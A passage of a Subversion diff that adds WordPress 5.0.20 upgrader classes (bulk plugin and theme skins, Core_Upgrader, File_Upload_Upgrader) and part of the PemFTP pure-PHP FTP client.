+		// Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output.
+		$string = wp_kses( $string, array(
+			'a' => array(
+				'href' => true
+			),
+			'br' => true,
+			'em' => true,
+			'strong' => true,
+		) );
+
+		if ( empty( $string ) )
+			return;
+
+		$this->messages[] = $string;
+	}
+
+	/**
+	 */
+	public function header() {
+		ob_start();
+	}
+
+	/**
+	 */
+	public function footer() {
+		$output = ob_get_clean();
+		if ( ! empty( $output ) )
+			$this->feedback( $output );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-bulk-plugin-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-bulk-plugin-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-bulk-plugin-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,67 @@
+<?php
+/**
+ * Upgrader API: Bulk_Plugin_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Bulk Plugin Upgrader Skin for WordPress Plugin Upgrades.
+ *
+ * @since 3.0.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see Bulk_Upgrader_Skin
+ */
+class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin {
+	public $plugin_info = array(); // Plugin_Upgrader::bulk() will fill this in.
+
+	public function add_strings() {
+		parent::add_strings();
+		$this->upgrader->strings['skin_before_update_header'] = __('Updating Plugin %1$s (%2$d/%3$d)');
+	}
+
+	/**
+	 *
+	 * @param string $title
+	 */
+	public function before($title = '') {
+		parent::before($this->plugin_info['Title']);
+	}
+
+	/**
+	 *
+	 * @param string $title
+	 */
+	public function after($title = '') {
+		parent::after($this->plugin_info['Title']);
+		$this->decrement_update_count( 'plugin' );
+	}
+
+	/**
+	 */
+	public function bulk_footer() {
+		parent::bulk_footer();
+		$update_actions =  array(
+			'plugins_page' => '<a href="' . self_admin_url( 'plugins.php' ) . '" target="_parent">' . __( 'Return to Plugins page' ) . '</a>',
+			'updates_page' => '<a href="' . self_admin_url( 'update-core.php' ) . '" target="_parent">' . __( 'Return to WordPress Updates page' ) . '</a>'
+		);
+		if ( ! current_user_can( 'activate_plugins' ) )
+			unset( $update_actions['plugins_page'] );
+
+		/**
+		 * Filters the list of action links available following bulk plugin updates.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $update_actions Array of plugin action links.
+		 * @param array $plugin_info    Array of information for the last-updated plugin.
+		 */
+		$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-bulk-theme-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-bulk-theme-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-bulk-theme-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,67 @@
+<?php
+/**
+ * Upgrader API: Bulk_Plugin_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Bulk Theme Upgrader Skin for WordPress Theme Upgrades.
+ *
+ * @since 3.0.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see Bulk_Upgrader_Skin
+ */
+class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {
+	public $theme_info = array(); // Theme_Upgrader::bulk() will fill this in.
+
+	public function add_strings() {
+		parent::add_strings();
+		$this->upgrader->strings['skin_before_update_header'] = __('Updating Theme %1$s (%2$d/%3$d)');
+	}
+
+	/**
+	 *
+	 * @param string $title
+	 */
+	public function before($title = '') {
+		parent::before( $this->theme_info->display('Name') );
+	}
+
+	/**
+	 *
+	 * @param string $title
+	 */
+	public function after($title = '') {
+		parent::after( $this->theme_info->display('Name') );
+		$this->decrement_update_count( 'theme' );
+	}
+
+	/**
+	 */
+	public function bulk_footer() {
+		parent::bulk_footer();
+		$update_actions =  array(
+			'themes_page' => '<a href="' . self_admin_url( 'themes.php' ) . '" target="_parent">' . __( 'Return to Themes page' ) . '</a>',
+			'updates_page' => '<a href="' . self_admin_url( 'update-core.php' ) . '" target="_parent">' . __( 'Return to WordPress Updates page' ) . '</a>'
+		);
+		if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) )
+			unset( $update_actions['themes_page'] );
+
+		/**
+		 * Filters the list of action links available following bulk theme updates.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $update_actions Array of theme action links.
+		 * @param array $theme_info     Array of information for the last-updated theme.
+		 */
+		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-bulk-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-bulk-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-bulk-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,175 @@
+<?php
+/**
+ * Upgrader API: Bulk_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Generic Bulk Upgrader Skin for WordPress Upgrades.
+ *
+ * @since 3.0.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see WP_Upgrader_Skin
+ */
+class Bulk_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $in_loop = false;
+	/**
+	 * @var string|false
+	 */
+	public $error = false;
+
+	/**
+	 *
+	 * @param array $args
+	 */
+	public function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'nonce' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		parent::__construct($args);
+	}
+
+	/**
+	 */
+	public function add_strings() {
+		$this->upgrader->strings['skin_upgrade_start'] = __('The update process is starting. This process may take a while on some hosts, so please be patient.');
+		/* translators: 1: Title of an update, 2: Error message */
+		$this->upgrader->strings['skin_update_failed_error'] = __('An error occurred while updating %1$s: %2$s');
+		/* translators: 1: Title of an update */
+		$this->upgrader->strings['skin_update_failed'] = __('The update of %1$s failed.');
+		/* translators: 1: Title of an update */
+		$this->upgrader->strings['skin_update_successful'] = __( '%1$s updated successfully.' );
+		$this->upgrader->strings['skin_upgrade_end'] = __('All updates have been completed.');
+	}
+
+	/**
+	 *
+	 * @param string $string
+	 */
+	public function feedback($string) {
+		if ( isset( $this->upgrader->strings[$string] ) )
+			$string = $this->upgrader->strings[$string];
+
+		if ( strpos($string, '%') !== false ) {
+			$args = func_get_args();
+			$args = array_splice($args, 1);
+			if ( $args ) {
+				$args = array_map( 'strip_tags', $args );
+				$args = array_map( 'esc_html', $args );
+				$string = vsprintf($string, $args);
+			}
+		}
+		if ( empty($string) )
+			return;
+		if ( $this->in_loop )
+			echo "$string<br />\n";
+		else
+			echo "<p>$string</p>\n";
+	}
+
+	/**
+	 */
+	public function header() {
+		// Nothing, This will be displayed within a iframe.
+	}
+
+	/**
+	 */
+	public function footer() {
+		// Nothing, This will be displayed within a iframe.
+	}
+
+	/**
+	 *
+	 * @param string|WP_Error $error
+	 */
+	public function error($error) {
+		if ( is_string($error) && isset( $this->upgrader->strings[$error] ) )
+			$this->error = $this->upgrader->strings[$error];
+
+		if ( is_wp_error($error) ) {
+			$messages = array();
+			foreach ( $error->get_error_messages() as $emessage ) {
+				if ( $error->get_error_data() && is_string( $error->get_error_data() ) )
+					$messages[] = $emessage . ' ' . esc_html( strip_tags( $error->get_error_data() ) );
+				else
+					$messages[] = $emessage;
+			}
+			$this->error = implode(', ', $messages);
+		}
+		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>';
+	}
+
+	/**
+	 */
+	public function bulk_header() {
+		$this->feedback('skin_upgrade_start');
+	}
+
+	/**
+	 */
+	public function bulk_footer() {
+		$this->feedback('skin_upgrade_end');
+	}
+
+	/**
+	 *
+	 * @param string $title
+	 */
+	public function before($title = '') {
+		$this->in_loop = true;
+		printf( '<h2>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h2>', $title, $this->upgrader->update_current, $this->upgrader->update_count );
+		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').css("display", "inline-block");</script>';
+		// This progress messages div gets moved via JavaScript when clicking on "Show details.".
+		echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr($this->upgrader->update_current) . '"><p>';
+		$this->flush_output();
+	}
+
+	/**
+	 *
+	 * @param string $title
+	 */
+	public function after($title = '') {
+		echo '</p></div>';
+		if ( $this->error || ! $this->result ) {
+			if ( $this->error ) {
+				echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed_error'], $title, '<strong>' . $this->error . '</strong>' ) . '</p></div>';
+			} else {
+				echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed'], $title) . '</p></div>';
+			}
+
+			echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js($this->upgrader->update_current) . '\').show();</script>';
+		}
+		if ( $this->result && ! is_wp_error( $this->result ) ) {
+			if ( ! $this->error ) {
+				echo '<div class="updated js-update-details" data-update-details="progress-' . esc_attr( $this->upgrader->update_current ) . '">' .
+					'<p>' . sprintf( $this->upgrader->strings['skin_update_successful'], $title ) .
+					' <button type="button" class="hide-if-no-js button-link js-update-details-toggle" aria-expanded="false">' . __( 'Show details.' ) . '</button>' .
+					'</p></div>';
+			}
+
+			echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>';
+		}
+
+		$this->reset();
+		$this->flush_output();
+	}
+
+	/**
+	 */
+	public function reset() {
+		$this->in_loop = false;
+		$this->error = false;
+	}
+
+	/**
+	 */
+	public function flush_output() {
+		wp_ob_end_flush_all();
+		flush();
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-core-upgrader.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-core-upgrader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-core-upgrader.php	(revision 56912)
@@ -0,0 +1,362 @@
+<?php
+/**
+ * Upgrade API: Core_Upgrader class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for updating core.
+ *
+ * It allows for WordPress to upgrade itself in combination with
+ * the wp-admin/includes/update-core.php file.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
+ *
+ * @see WP_Upgrader
+ */
+class Core_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['up_to_date'] = __('WordPress is at the latest version.');
+		$this->strings['locked'] = __('Another update is currently in progress.');
+		$this->strings['no_package'] = __('Update package not available.');
+		/* translators: %s: package URL */
+		$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code">%s</span>' );
+		$this->strings['unpack_package'] = __('Unpacking the update&#8230;');
+		$this->strings['copy_failed'] = __('Could not copy files.');
+		$this->strings['copy_failed_space'] = __('Could not copy files. You may have run out of disk space.' );
+		$this->strings['start_rollback'] = __( 'Attempting to roll back to previous version.' );
+		$this->strings['rollback_was_required'] = __( 'Due to an error during updating, WordPress has rolled back to your previous version.' );
+	}
+
+	/**
+	 * Upgrade WordPress core.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 * @global callable           $_wp_filesystem_direct_method
+	 *
+	 * @param object $current Response object for whether WordPress is current.
+	 * @param array  $args {
+	 *        Optional. Arguments for upgrading WordPress core. Default empty array.
+	 *
+	 *        @type bool $pre_check_md5    Whether to check the file checksums before
+	 *                                     attempting the upgrade. Default true.
+	 *        @type bool $attempt_rollback Whether to attempt to rollback the chances if
+	 *                                     there is a problem. Default false.
+	 *        @type bool $do_rollback      Whether to perform this "upgrade" as a rollback.
+	 *                                     Default false.
+	 * }
+	 * @return null|false|WP_Error False or WP_Error on failure, null on success.
+	 */
+	public function upgrade( $current, $args = array() ) {
+		global $wp_filesystem;
+
+		include( ABSPATH . WPINC . '/version.php' ); // $wp_version;
+
+		$start_time = time();
+
+		$defaults = array(
+			'pre_check_md5'    => true,
+			'attempt_rollback' => false,
+			'do_rollback'      => false,
+			'allow_relaxed_file_ownership' => false,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		// Is an update available?
+		if ( !isset( $current->response ) || $current->response == 'latest' )
+			return new WP_Error('up_to_date', $this->strings['up_to_date']);
+
+		$res = $this->fs_connect( array( ABSPATH, WP_CONTENT_DIR ), $parsed_args['allow_relaxed_file_ownership'] );
+		if ( ! $res || is_wp_error( $res ) ) {
+			return $res;
+		}
+
+		$wp_dir = trailingslashit($wp_filesystem->abspath());
+
+		$partial = true;
+		if ( $parsed_args['do_rollback'] )
+			$partial = false;
+		elseif ( $parsed_args['pre_check_md5'] && ! $this->check_files() )
+			$partial = false;
+
+		/*
+		 * If partial update is returned from the API, use that, unless we're doing
+		 * a reinstallation. If we cross the new_bundled version number, then use
+		 * the new_bundled zip. Don't though if the constant is set to skip bundled items.
+		 * If the API returns a no_content zip, go with it. Finally, default to the full zip.
+		 */
+		if ( $parsed_args['do_rollback'] && $current->packages->rollback )
+			$to_download = 'rollback';
+		elseif ( $current->packages->partial && 'reinstall' != $current->response && $wp_version == $current->partial_version && $partial )
+			$to_download = 'partial';
+		elseif ( $current->packages->new_bundled && version_compare( $wp_version, $current->new_bundled, '<' )
+			&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) )
+			$to_download = 'new_bundled';
+		elseif ( $current->packages->no_content )
+			$to_download = 'no_content';
+		else
+			$to_download = 'full';
+
+		// Lock to prevent multiple Core Updates occurring
+		$lock = WP_Upgrader::create_lock( 'core_updater', 15 * MINUTE_IN_SECONDS );
+		if ( ! $lock ) {
+			return new WP_Error( 'locked', $this->strings['locked'] );
+		}
+
+		$download = $this->download_package( $current->packages->$to_download );
+		if ( is_wp_error( $download ) ) {
+			WP_Upgrader::release_lock( 'core_updater' );
+			return $download;
+		}
+
+		$working_dir = $this->unpack_package( $download );
+		if ( is_wp_error( $working_dir ) ) {
+			WP_Upgrader::release_lock( 'core_updater' );
+			return $working_dir;
+		}
+
+		// Copy update-core.php from the new version into place.
+		if ( !$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true) ) {
+			$wp_filesystem->delete($working_dir, true);
+			WP_Upgrader::release_lock( 'core_updater' );
+			return new WP_Error( 'copy_failed_for_update_core_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-admin/includes/update-core.php' );
+		}
+		$wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE);
+
+		require_once( ABSPATH . 'wp-admin/includes/update-core.php' );
+
+		if ( ! function_exists( 'update_core' ) ) {
+			WP_Upgrader::release_lock( 'core_updater' );
+			return new WP_Error( 'copy_failed_space', $this->strings['copy_failed_space'] );
+		}
+
+		$result = update_core( $working_dir, $wp_dir );
+
+		// In the event of an issue, we may be able to roll back.
+		if ( $parsed_args['attempt_rollback'] && $current->packages->rollback && ! $parsed_args['do_rollback'] ) {
+			$try_rollback = false;
+			if ( is_wp_error( $result ) ) {
+				$error_code = $result->get_error_code();
+				/*
+				 * Not all errors are equal. These codes are critical: copy_failed__copy_dir,
+				 * mkdir_failed__copy_dir, copy_failed__copy_dir_retry, and disk_full.
+				 * do_rollback allows for update_core() to trigger a rollback if needed.
+				 */
+				if ( false !== strpos( $error_code, 'do_rollback' ) )
+					$try_rollback = true;
+				elseif ( false !== strpos( $error_code, '__copy_dir' ) )
+					$try_rollback = true;
+				elseif ( 'disk_full' === $error_code )
+					$try_rollback = true;
+			}
+
+			if ( $try_rollback ) {
+				/** This filter is documented in wp-admin/includes/update-core.php */
+				apply_filters( 'update_feedback', $result );
+
+				/** This filter is documented in wp-admin/includes/update-core.php */
+				apply_filters( 'update_feedback', $this->strings['start_rollback'] );
+
+				$rollback_result = $this->upgrade( $current, array_merge( $parsed_args, array( 'do_rollback' => true ) ) );
+
+				$original_result = $result;
+				$result = new WP_Error( 'rollback_was_required', $this->strings['rollback_was_required'], (object) array( 'update' => $original_result, 'rollback' => $rollback_result ) );
+			}
+		}
+
+		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
+		do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'core' ) );
+
+		// Clear the current updates
+		delete_site_transient( 'update_core' );
+
+		if ( ! $parsed_args['do_rollback'] ) {
+			$stats = array(
+				'update_type'      => $current->response,
+				'success'          => true,
+				'fs_method'        => $wp_filesystem->method,
+				'fs_method_forced' => defined( 'FS_METHOD' ) || has_filter( 'filesystem_method' ),
+				'fs_method_direct' => !empty( $GLOBALS['_wp_filesystem_direct_method'] ) ? $GLOBALS['_wp_filesystem_direct_method'] : '',
+				'time_taken'       => time() - $start_time,
+				'reported'         => $wp_version,
+				'attempted'        => $current->version,
+			);
+
+			if ( is_wp_error( $result ) ) {
+				$stats['success'] = false;
+				// Did a rollback occur?
+				if ( ! empty( $try_rollback ) ) {
+					$stats['error_code'] = $original_result->get_error_code();
+					$stats['error_data'] = $original_result->get_error_data();
+					// Was the rollback successful? If not, collect its error too.
+					$stats['rollback'] = ! is_wp_error( $rollback_result );
+					if ( is_wp_error( $rollback_result ) ) {
+						$stats['rollback_code'] = $rollback_result->get_error_code();
+						$stats['rollback_data'] = $rollback_result->get_error_data();
+					}
+				} else {
+					$stats['error_code'] = $result->get_error_code();
+					$stats['error_data'] = $result->get_error_data();
+				}
+			}
+
+			wp_version_check( $stats );
+		}
+
+		WP_Upgrader::release_lock( 'core_updater' );
+
+		return $result;
+	}
+
+	/**
+	 * Determines if this WordPress Core version should update to an offered version or not.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @static
+	 *
+	 * @param string $offered_ver The offered version, of the format x.y.z.
+	 * @return bool True if we should update to the offered version, otherwise false.
+	 */
+	public static function should_update_to_version( $offered_ver ) {
+		include( ABSPATH . WPINC . '/version.php' ); // $wp_version; // x.y.z
+
+		$current_branch = implode( '.', array_slice( preg_split( '/[.-]/', $wp_version  ), 0, 2 ) ); // x.y
+		$new_branch     = implode( '.', array_slice( preg_split( '/[.-]/', $offered_ver ), 0, 2 ) ); // x.y
+		$current_is_development_version = (bool) strpos( $wp_version, '-' );
+
+		// Defaults:
+		$upgrade_dev   = true;
+		$upgrade_minor = true;
+		$upgrade_major = false;
+
+		// WP_AUTO_UPDATE_CORE = true (all), 'minor', false.
+		if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) {
+			if ( false === WP_AUTO_UPDATE_CORE ) {
+				// Defaults to turned off, unless a filter allows it
+				$upgrade_dev = $upgrade_minor = $upgrade_major = false;
+			} elseif ( true === WP_AUTO_UPDATE_CORE ) {
+				// ALL updates for core
+				$upgrade_dev = $upgrade_minor = $upgrade_major = true;
+			} elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) {
+				// Only minor updates for core
+				$upgrade_dev = $upgrade_major = false;
+				$upgrade_minor = true;
+			}
+		}
+
+		// 1: If we're already on that version, not much point in updating?
+		if ( $offered_ver == $wp_version )
+			return false;
+
+		// 2: If we're running a newer version, that's a nope
+		if ( version_compare( $wp_version, $offered_ver, '>' ) )
+			return false;
+
+		$failure_data = get_site_option( 'auto_core_update_failed' );
+		if ( $failure_data ) {
+			// If this was a critical update failure, cannot update.
+			if ( ! empty( $failure_data['critical'] ) )
+				return false;
+
+			// Don't claim we can update on update-core.php if we have a non-critical failure logged.
+			if ( $wp_version == $failure_data['current'] && false !== strpos( $offered_ver, '.1.next.minor' ) )
+				return false;
+
+			// Cannot update if we're retrying the same A to B update that caused a non-critical failure.
+			// Some non-critical failures do allow retries, like download_failed.
+			// 3.7.1 => 3.7.2 resulted in files_not_writable, if we are still on 3.7.1 and still trying to update to 3.7.2.
+			if ( empty( $failure_data['retry'] ) && $wp_version == $failure_data['current'] && $offered_ver == $failure_data['attempted'] )
+				return false;
+		}
+
+		// 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2
+		if ( $current_is_development_version ) {
+
+			/**
+			 * Filters whether to enable automatic core updates for development versions.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $upgrade_dev Whether to enable automatic updates for
+			 *                          development versions.
+			 */
+			if ( ! apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev ) )
+				return false;
+			// Else fall through to minor + major branches below.
+		}
+
+		// 4: Minor In-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4)
+		if ( $current_branch == $new_branch ) {
+
+			/**
+			 * Filters whether to enable minor automatic core updates.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $upgrade_minor Whether to enable minor automatic core updates.
+			 */
+			return apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor );
+		}
+
+		// 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1)
+		if ( version_compare( $new_branch, $current_branch, '>' ) ) {
+
+			/**
+			 * Filters whether to enable major automatic core updates.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $upgrade_major Whether to enable major automatic core updates.
+			 */
+			return apply_filters( 'allow_major_auto_core_updates', $upgrade_major );
+		}
+
+		// If we're not sure, we don't want it
+		return false;
+	}
+
+	/**
+	 * Compare the disk file checksums against the expected checksums.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global string $wp_version
+	 * @global string $wp_local_package
+	 *
+	 * @return bool True if the checksums match, otherwise false.
+	 */
+	public function check_files() {
+		global $wp_version, $wp_local_package;
+
+		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );
+
+		if ( ! is_array( $checksums ) )
+			return false;
+
+		foreach ( $checksums as $file => $checksum ) {
+			// Skip files which get updated
+			if ( 'wp-content' == substr( $file, 0, 10 ) )
+				continue;
+			if ( ! file_exists( ABSPATH . $file ) || md5_file( ABSPATH . $file ) !== $checksum )
+				return false;
+		}
+
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-file-upload-upgrader.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-file-upload-upgrader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-file-upload-upgrader.php	(revision 56912)
@@ -0,0 +1,124 @@
+<?php
+/**
+ * Upgrade API: File_Upload_Upgrader class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for handling file uploads.
+ *
+ * This class handles the upload process and passes it as if it's a local file
+ * to the Upgrade/Installer functions.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
+ */
+class File_Upload_Upgrader {
+
+	/**
+	 * The full path to the file package.
+	 *
+	 * @since 2.8.0
+	 * @var string $package
+	 */
+	public $package;
+
+	/**
+	 * The name of the file.
+	 *
+	 * @since 2.8.0
+	 * @var string $filename
+	 */
+	public $filename;
+
+	/**
+	 * The ID of the attachment post for this file.
+	 *
+	 * @since 3.3.0
+	 * @var int $id
+	 */
+	public $id = 0;
+
+	/**
+	 * Construct the upgrader for a form.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $form      The name of the form the file was uploaded from.
+	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
+	 */
+	public function __construct( $form, $urlholder ) {
+
+		if ( empty($_FILES[$form]['name']) && empty($_GET[$urlholder]) )
+			wp_die(__('Please select a file'));
+
+		//Handle a newly uploaded file, Else assume it's already been uploaded
+		if ( ! empty($_FILES) ) {
+			$overrides = array( 'test_form' => false, 'test_type' => false );
+			$file = wp_handle_upload( $_FILES[$form], $overrides );
+
+			if ( isset( $file['error'] ) )
+				wp_die( $file['error'] );
+
+			$this->filename = $_FILES[$form]['name'];
+			$this->package = $file['file'];
+
+			// Construct the object array
+			$object = array(
+				'post_title' => $this->filename,
+				'post_content' => $file['url'],
+				'post_mime_type' => $file['type'],
+				'guid' => $file['url'],
+				'context' => 'upgrader',
+				'post_status' => 'private'
+			);
+
+			// Save the data.
+			$this->id = wp_insert_attachment( $object, $file['file'] );
+
+			// Schedule a cleanup for 2 hours from now in case of failed installation.
+			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );
+
+		} elseif ( is_numeric( $_GET[$urlholder] ) ) {
+			// Numeric Package = previously uploaded file, see above.
+			$this->id = (int) $_GET[$urlholder];
+			$attachment = get_post( $this->id );
+			if ( empty($attachment) )
+				wp_die(__('Please select a file'));
+
+			$this->filename = $attachment->post_title;
+			$this->package = get_attached_file( $attachment->ID );
+		} else {
+			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
+			if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
+				wp_die( $uploads['error'] );
+
+			$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
+			$this->package = $uploads['basedir'] . '/' . $this->filename;
+
+			if ( 0 !== strpos( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
+				wp_die( __( 'Please select a file' ) );
+			}
+		}
+	}
+
+	/**
+	 * Delete the attachment/uploaded file.
+	 *
+	 * @since 3.2.2
+	 *
+	 * @return bool Whether the cleanup was successful.
+	 */
+	public function cleanup() {
+		if ( $this->id )
+			wp_delete_attachment( $this->id );
+
+		elseif ( file_exists( $this->package ) )
+			return @unlink( $this->package );
+
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-ftp-pure.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-ftp-pure.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-ftp-pure.php	(revision 56912)
@@ -0,0 +1,186 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * FTP implementation using fsockopen to connect.
+ *
+ * @package PemFTP
+ * @subpackage Pure
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+class ftp_pure extends ftp_base {
+
+	function __construct($verb=FALSE, $le=FALSE) {
+		parent::__construct(false, $verb, $le);
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function _settimeout($sock) {
+		if(!@stream_set_timeout($sock, $this->_timeout)) {
+			$this->PushError('_settimeout','socket set send timeout');
+			$this->_quit();
+			return FALSE;
+		}
+		return TRUE;
+	}
+
+	function _connect($host, $port) {
+		$this->SendMSG("Creating socket");
+		$sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout);
+		if (!$sock) {
+			$this->PushError('_connect','socket connect failed', $errstr." (".$errno.")");
+			return FALSE;
+		}
+		$this->_connected=true;
+		return $sock;
+	}
+
+	function _readmsg($fnction="_readmsg"){
+		if(!$this->_connected) {
+			$this->PushError($fnction, 'Connect first');
+			return FALSE;
+		}
+		$result=true;
+		$this->_message="";
+		$this->_code=0;
+		$go=true;
+		do {
+			$tmp=@fgets($this->_ftp_control_sock, 512);
+			if($tmp===false) {
+				$go=$result=false;
+				$this->PushError($fnction,'Read failed');
+			} else {
+				$this->_message.=$tmp;
+				if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false;
+			}
+		} while($go);
+		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
+		$this->_code=(int)$regs[1];
+		return $result;
+	}
+
+	function _exec($cmd, $fnction="_exec") {
+		if(!$this->_ready) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
+		$status=@fputs($this->_ftp_control_sock, $cmd.CRLF);
+		if($status===false) {
+			$this->PushError($fnction,'socket write failed');
+			return FALSE;
+		}
+		$this->_lastaction=time();
+		if(!$this->_readmsg($fnction)) return FALSE;
+		return TRUE;
+	}
+
+	function _data_prepare($mode=FTP_ASCII) {
+		if(!$this->_settype($mode)) return FALSE;
+		if($this->_passive) {
+			if(!$this->_exec("PASV", "pasv")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+			$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
